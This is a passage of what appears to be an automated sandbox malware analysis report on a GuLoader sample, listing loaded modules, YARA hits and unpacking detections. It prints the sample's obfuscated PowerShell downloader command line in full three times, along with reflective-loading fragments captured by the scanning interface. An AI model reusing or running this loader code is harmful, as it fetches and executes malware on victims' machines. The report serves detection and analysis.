Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Section loaded: mswsock.dll
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: dhcpcsvc.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

VBScript performs obfuscated calls to suspicious functions

Source:	Binary string: m.Core.pdb source: powershell.exe, 00000007.00000002.1781112542.00000000079AC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb9 source: powershell.exe, 00000007.00000002.1781112542.000000000792A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: msiexec.exe, 00000009.00000003.1942259235.00000000238F0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000007.00000002.1781112542.000000000792A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: svchost.exe, 0000000D.00000003.1946639469.00000000056C0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: msiexec.exe, 00000009.00000003.1941650537.0000000023AE0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: msiexec.exe, 00000009.00000003.1941909081.00000000238F0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: msiexec.exe, 00000009.00000003.1941650537.0000000023AE0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: msiexec.exe, 00000009.00000003.1941909081.00000000238F0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: win32u.pdb source: wmplayer.exe
Source:	Binary string: wkernel32.pdbUGP source: msiexec.exe, 00000009.00000003.1942259235.00000000238F0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: svchost.exe, 0000000D.00000003.1946639469.00000000056C0000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell ";$Kollationernendkaldebefjelses='Elefantridderne';;$Flumed='Rundingernes';;$Metropoler='Larceners';;$", "Unsupported parameter type 00000000")

Yara detected GuLoader

Source: Yara match	File source: 00000007.00000002.1773360781.000000000607D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1788756051.0000000008D70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1555228381.0000021D90071000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1789176550.000000000952F000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

.NET source code contains potential unpacker

Source: 14.3.svchost.exe.24f6aabc070.0.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 14.3.svchost.exe.24f6aabc070.0.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 14.3.svchost.exe.24f6aabc070.3.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 14.3.svchost.exe.24f6aabc070.3.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 14.3.svchost.exe.24f6aabc070.2.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 14.3.svchost.exe.24f6aabc070.2.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 14.3.svchost.exe.24f6aabc070.1.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 14.3.svchost.exe.24f6aabc070.1.raw.unpack, Runtime.cs	.Net Code: CoreMain

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Irreversibly)$Global:maKSImERIngErNES = [sysTem.TEXT.enCoDInG]::asCii.GetString($coNtrARIwISe)$GLObAl:aLDrendE=$mAKSIMErIngERnes.subStrInG($alDeRsbestEmMELSErne,$yelLOwcUP)<#Uvirkeli
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Udendrsarbejdets $Osteosynovitis $Forbryderspirens), (Restaurationskkkenets @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Pseudoofficially = [AppDomain]:
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Stednavnsforskningen93)), $rgelsen).DefineDynamicModule($Fibrinolysis, $false).DefineType($fucation, $Assumes, [System.MulticastDelega
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Irreversibly)$Global:maKSImERIngErNES = [sysTem.TEXT.enCoDInG]::asCii.GetString($coNtrARIwISe)$GLObAl:aLDrendE=$mAKSIMErIngERnes.subStrInG($alDeRsbestEmMELSErne,$yelLOwcUP)<#Uvirkeli

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Kollationernendkaldebefjelses='Elefantridderne';;$Flumed='Rundingernes';;$Metropoler='Larceners';;$Provisionsindtgters='Drivremmen';;$Smedejernslaage=$host.Name;function Elevtimens($Ballongynges){If ($Smedejernslaage) {$Firspandets79=2} for ($Kollationerne=$Firspandets79;;$Kollationerne+=3){if(!$Ballongynges[$Kollationerne]) { break };$Bibliofil+=$Ballongynges[$Kollationerne];$Squibbery='Jogurternes'}$Bibliofil}function Fortynderes($Thuds){ .($Nongame) ($Thuds)}$Fangled=Elevtimens 'ToN rePltSi.Dew';$Fangled+=Elevtimens 'S E.ubC,c oLR.i HEStNs T';$Gasted=Elevtimens 'S.MAnoBazObiP l lAhaMe/';$Dealation=Elevtimens 'coTValSlsEj1Pl2';$Hiwire='St[LuNF,e.dtL . sCee SR Iv,lIRoc .eHyp .O ,iUnnRyTFrm.ia n maUdg oeMir L]Va:Ch:RaS Te Tc Su R AiPrt yMiPSpR fOinT PoAacN,ORkLNa= ,$ VDbeeAgA.uL ZaInTFlI.po AN';$Gasted+=Elevtimens 'An5 T.Co0 a(FuWWiigen KdBao ,wKosHo MaNReTU T1Fe0He.Da0 i;O TrW eiHenU 6 4J ;Fa ,mxSn6 o4Fi;B DrNivFy:Um1.e3Fo1U .,t0 ,)Se BeGNoeHjc,ok loEt/ H2I 0,n1Im0.v0Du1Ri0 P1Pr .kFj,iS,rSteDef,noVrxSk/Af1Ud3Ru1To.Ve0';$Endomysial=Elevtimens ',nuAsSHaE,kRRe-BiaOuGBaE n AT';$niveauoplysning=Elevtimens ' h StAnt bpTes T: h/Kh/UnpRatRas y.A gNor lo ,u Ap o/U aAlb ./P L aaInnBreHvyNo.Fod KsVap.r>CohEmt .tN.p,asK :R / / nwSmw uwFa.YapSkuRenHoeBae ut B. aaPee.n/AraCobS,/ LT,arenSpeC yO.. td oskrp';$Afpolitiserendes=Elevtimens ',a>';$Nongame=Elevtimens 'RuIK,enoX';$Stripperne='Bystyrers';$Assumptiveness='\Nonfattening.Ret';Fortynderes (Elevtimens ' P$UnGSelL.o BE,AFllH : ,F No Pr SS ,DNoeNo=Co$DiER NLiVLy: ABoP lPP D PA .t a M+sa$Baa ,SDosCaU uM pUdTMeiViV tESuN e DS.uS');Fortynderes (Elevtimens 'Ex$ kgMalUnOBab,eA LGr:K BRuIPrbTue Kh.wo ,lroDFle MLBuS ueS,n vSAb=,y$Ovn SIS vFoeTiAAcU TospPViLInYPlSKvnUniKoN LG .MesS PGrLAlIVat S(Af$PrAUnf ePNyO LPoISetB iRrS.pED R rE yNMudPrETvSMa)');Fortynderes (Elevtimens $Hiwire);$niveauoplysning=$Bibeholdelsens[0];$heda=(Elevtimens ' a$MagLalgaOPrBR,ARuLA :MysKotulr aM smNoeOk=Inn aE uW S-UnODiB ,J eFoc ItPu R SG Y oSF TL.eD MBl.re$SufMbAInn KgDelPae id');Fortynderes ($heda);Fortynderes (Elevtimens 'Fo$E S StubrLem im UeCu. HSleToaPad.neSkrPasHa[N $P EShnGtd Ao fm cySes riBaaPrlbo]Tr=Un$AlG FaLus tAne Cd');$Preposed=Elevtimens ' O$AfSP,tTyrp.mHem.oe,n.SnDAcoCrwGrn Ol LoCoaMyd aFO iStlSteTi(As$ On niPrvRue a TuMuoC,pSul kySasFanK iManRogko,P,$InHMajgaewarben neMirBjsRe)';$Hjerners=$Forsde;Fortynderes (Elevtimens ' .$,nGtiL o.oBBlA ll s:HaDEar,eiO,KTeKroeDiV .aChrAle fR SN.ie esPa=Hi( et ,EMesS T K-PePAla EtDahSi An$BehlgjGgeOvRUnnLeE rrSksHa)');while (!$Drikkevarernes) {Fortynderes (Elevtimens ' t$ gBelIno b aIrlHj: LPOmrV oU.tEneGes ptUns,lyp r F=,u$ ,A on stMyi Sc waY p,li St a hl SiSusmit aiAnc') ;Fortynderes $Preposed;Fortynderes (Elevtimens ' oSH,t PaS rHaTSo-E sRelEnE.ieMupCh M4');Fortynderes (Elevtimens ' I$PrGInlSeO NBBlASkLDe:Vedi RS IRdKT.kViES vMiaKl
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Kollationernendkaldebefjelses='Elefantridderne';;$Flumed='Rundingernes';;$Metropoler='Larceners';;$Provisionsindtgters='Drivremmen';;$Smedejernslaage=$host.Name;function Elevtimens($Ballongynges){If ($Smedejernslaage) {$Firspandets79=2} for ($Kollationerne=$Firspandets79;;$Kollationerne+=3){if(!$Ballongynges[$Kollationerne]) { break };$Bibliofil+=$Ballongynges[$Kollationerne];$Squibbery='Jogurternes'}$Bibliofil}function Fortynderes($Thuds){ .($Nongame) ($Thuds)}$Fangled=Elevtimens 'ToN rePltSi.Dew';$Fangled+=Elevtimens 'S E.ubC,c oLR.i HEStNs T';$Gasted=Elevtimens 'S.MAnoBazObiP l lAhaMe/';$Dealation=Elevtimens 'coTValSlsEj1Pl2';$Hiwire='St[LuNF,e.dtL . sCee SR Iv,lIRoc .eHyp .O ,iUnnRyTFrm.ia n maUdg oeMir L]Va:Ch:RaS Te Tc Su R AiPrt yMiPSpR fOinT PoAacN,ORkLNa= ,$ VDbeeAgA.uL ZaInTFlI.po AN';$Gasted+=Elevtimens 'An5 T.Co0 a(FuWWiigen KdBao ,wKosHo MaNReTU T1Fe0He.Da0 i;O TrW eiHenU 6 4J ;Fa ,mxSn6 o4Fi;B DrNivFy:Um1.e3Fo1U .,t0 ,)Se BeGNoeHjc,ok loEt/ H2I 0,n1Im0.v0Du1Ri0 P1Pr .kFj,iS,rSteDef,noVrxSk/Af1Ud3Ru1To.Ve0';$Endomysial=Elevtimens ',nuAsSHaE,kRRe-BiaOuGBaE n AT';$niveauoplysning=Elevtimens ' h StAnt bpTes T: h/Kh/UnpRatRas y.A gNor lo ,u Ap o/U aAlb ./P L aaInnBreHvyNo.Fod KsVap.r>CohEmt .tN.p,asK :R / / nwSmw uwFa.YapSkuRenHoeBae ut B. aaPee.n/AraCobS,/ LT,arenSpeC yO.. td oskrp';$Afpolitiserendes=Elevtimens ',a>';$Nongame=Elevtimens 'RuIK,enoX';$Stripperne='Bystyrers';$Assumptiveness='\Nonfattening.Ret';Fortynderes (Elevtimens ' P$UnGSelL.o BE,AFllH : ,F No Pr SS ,DNoeNo=Co$DiER NLiVLy: ABoP lPP D PA .t a M+sa$Baa ,SDosCaU uM pUdTMeiViV tESuN e DS.uS');Fortynderes (Elevtimens 'Ex$ kgMalUnOBab,eA LGr:K BRuIPrbTue Kh.wo ,lroDFle MLBuS ueS,n vSAb=,y$Ovn SIS vFoeTiAAcU TospPViLInYPlSKvnUniKoN LG .MesS PGrLAlIVat S(Af$PrAUnf ePNyO LPoISetB iRrS.pED R rE yNMudPrETvSMa)');Fortynderes (Elevtimens $Hiwire);$niveauoplysning=$Bibeholdelsens[0];$heda=(Elevtimens ' a$MagLalgaOPrBR,ARuLA :MysKotulr aM smNoeOk=Inn aE uW S-UnODiB ,J eFoc ItPu R SG Y oSF TL.eD MBl.re$SufMbAInn KgDelPae id');Fortynderes ($heda);Fortynderes (Elevtimens 'Fo$E S StubrLem im UeCu. HSleToaPad.neSkrPasHa[N $P EShnGtd Ao fm cySes riBaaPrlbo]Tr=Un$AlG FaLus tAne Cd');$Preposed=Elevtimens ' O$AfSP,tTyrp.mHem.oe,n.SnDAcoCrwGrn Ol LoCoaMyd aFO iStlSteTi(As$ On niPrvRue a TuMuoC,pSul kySasFanK iManRogko,P,$InHMajgaewarben neMirBjsRe)';$Hjerners=$Forsde;Fortynderes (Elevtimens ' .$,nGtiL o.oBBlA ll s:HaDEar,eiO,KTeKroeDiV .aChrAle fR SN.ie esPa=Hi( et ,EMesS T K-PePAla EtDahSi An$BehlgjGgeOvRUnnLeE rrSksHa)');while (!$Drikkevarernes) {Fortynderes (Elevtimens ' t$ gBelIno b aIrlHj: LPOmrV oU.tEneGes ptUns,lyp r F=,u$ ,A on stMyi Sc waY p,li St a hl SiSusmit aiAnc') ;Fortynderes $Preposed;Fortynderes (Elevtimens ' oSH,t PaS rHaTSo-E sRelEnE.ieMupCh M4');Fortynderes (Elevtimens ' I$PrGInlSeO NBBlASkLDe:Vedi RS IRdKT.kViES vMiaKl
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Kollationernendkaldebefjelses='Elefantridderne';;$Flumed='Rundingernes';;$Metropoler='Larceners';;$Provisionsindtgters='Drivremmen';;$Smedejernslaage=$host.Name;function Elevtimens($Ballongynges){If ($Smedejernslaage) {$Firspandets79=2} for ($Kollationerne=$Firspandets79;;$Kollationerne+=3){if(!$Ballongynges[$Kollationerne]) { break };$Bibliofil+=$Ballongynges[$Kollationerne];$Squibbery='Jogurternes'}$Bibliofil}function Fortynderes($Thuds){ .($Nongame) ($Thuds)}$Fangled=Elevtimens 'ToN rePltSi.Dew';$Fangled+=Elevtimens 'S E.ubC,c oLR.i HEStNs T';$Gasted=Elevtimens 'S.MAnoBazObiP l lAhaMe/';$Dealation=Elevtimens 'coTValSlsEj1Pl2';$Hiwire='St[LuNF,e.dtL . sCee SR Iv,lIRoc .eHyp .O ,iUnnRyTFrm.ia n maUdg oeMir L]Va:Ch:RaS Te Tc Su R AiPrt yMiPSpR fOinT PoAacN,ORkLNa= ,$ VDbeeAgA.uL ZaInTFlI.po AN';$Gasted+=Elevtimens 'An5 T.Co0 a(FuWWiigen KdBao ,wKosHo MaNReTU T1Fe0He.Da0 i;O TrW eiHenU 6 4J ;Fa ,mxSn6 o4Fi;B DrNivFy:Um1.e3Fo1U .,t0 ,)Se BeGNoeHjc,ok loEt/ H2I 0,n1Im0.v0Du1Ri0 P1Pr .kFj,iS,rSteDef,noVrxSk/Af1Ud3Ru1To.Ve0';$Endomysial=Elevtimens ',nuAsSHaE,kRRe-BiaOuGBaE n AT';$niveauoplysning=Elevtimens ' h StAnt bpTes T: h/Kh/UnpRatRas y.A gNor lo ,u Ap o/U aAlb ./P L aaInnBreHvyNo.Fod KsVap.r>CohEmt .tN.p,asK :R / / nwSmw uwFa.YapSkuRenHoeBae ut B. aaPee.n/AraCobS,/ LT,arenSpeC yO.. td oskrp';$Afpolitiserendes=Elevtimens ',a>';$Nongame=Elevtimens 'RuIK,enoX';$Stripperne='Bystyrers';$Assumptiveness='\Nonfattening.Ret';Fortynderes (Elevtimens ' P$UnGSelL.o BE,AFllH : ,F No Pr SS ,DNoeNo=Co$DiER NLiVLy: ABoP lPP D PA .t a M+sa$Baa ,SDosCaU uM pUdTMeiViV tESuN e DS.uS');Fortynderes (Elevtimens 'Ex$ kgMalUnOBab,eA LGr:K BRuIPrbTue Kh.wo ,lroDFle MLBuS ueS,n vSAb=,y$Ovn SIS vFoeTiAAcU TospPViLInYPlSKvnUniKoN LG .MesS PGrLAlIVat S(Af$PrAUnf ePNyO LPoISetB iRrS.pED R rE yNMudPrETvSMa)');Fortynderes (Elevtimens $Hiwire);$niveauoplysning=$Bibeholdelsens[0];$heda=(Elevtimens ' a$MagLalgaOPrBR,ARuLA :MysKotulr aM smNoeOk=Inn aE uW S-UnODiB ,J eFoc ItPu R SG Y oSF TL.eD MBl.re$SufMbAInn KgDelPae id');Fortynderes ($heda);Fortynderes (Elevtimens 'Fo$E S StubrLem im UeCu. HSleToaPad.neSkrPasHa[N $P EShnGtd Ao fm cySes riBaaPrlbo]Tr=Un$AlG FaLus tAne Cd');$Preposed=Elevtimens ' O$AfSP,tTyrp.mHem.oe,n.SnDAcoCrwGrn Ol LoCoaMyd aFO iStlSteTi(As$ On niPrvRue a TuMuoC,pSul kySasFanK iManRogko,P,$InHMajgaewarben neMirBjsRe)';$Hjerners=$Forsde;Fortynderes (Elevtimens ' .$,nGtiL o.oBBlA ll s:HaDEar,eiO,KTeKroeDiV .aChrAle fR SN.ie esPa=Hi( et ,EMesS T K-PePAla EtDahSi An$BehlgjGgeOvRUnnLeE rrSksHa)');while (!$Drikkevarernes) {Fortynderes (Elevtimens ' t$ gBelIno b aIrlHj: LPOmrV oU.tEneGes ptUns,lyp r F=,u$ ,A on stMyi Sc waY p,li St a hl SiSusmit aiAnc') ;Fortynderes $Preposed;Fortynderes (Elevtimens ' oSH,t PaS rHaTSo-E sRelEnE.ieMupCh M4');Fortynderes (Elevtimens ' I$PrGInlSeO NBBlASkLDe:Vedi RS IRdKT.kViES vMiaKl	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFAAC260962 push E95B44D0h; ret	4_2_00007FFAAC2609C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFAAC33437F push ds; iretd	4_2_00007FFAAC33438F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_04D423AF pushad ; iretd	7_2_04D423BA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_04D4FCC5 push eax; retf	7_2_04D4FCC9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_3_02D318C0 push ebp; retf	13_3_02D318C1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_3_02D328ED push ebx; ret	13_3_02D328E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_3_02D3588E push eax; iretd	13_3_02D3589D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_3_02D358BC pushad ; ret	13_3_02D358C1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_3_02D3225D push eax; ret	13_3_02D3225F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_3_02D36012 push 00000038h; iretd	13_3_02D3601D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_3_02D35606 pushad ; retf	13_3_02D35619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_3_02D30FEA push eax; ret	13_3_02D30FF5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_3_02D35FEE push FFFFFFD2h; retf	13_3_02D36011
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_3_02D3278B push ebx; ret	13_3_02D328E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_3_02D31179 push FFFFFF82h; iretd	13_3_02D3117B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_3_02D35F0C push es; iretd	13_3_02D35F0D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_3_02D34920 push 0000002Eh; iretd	13_3_02D34922

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
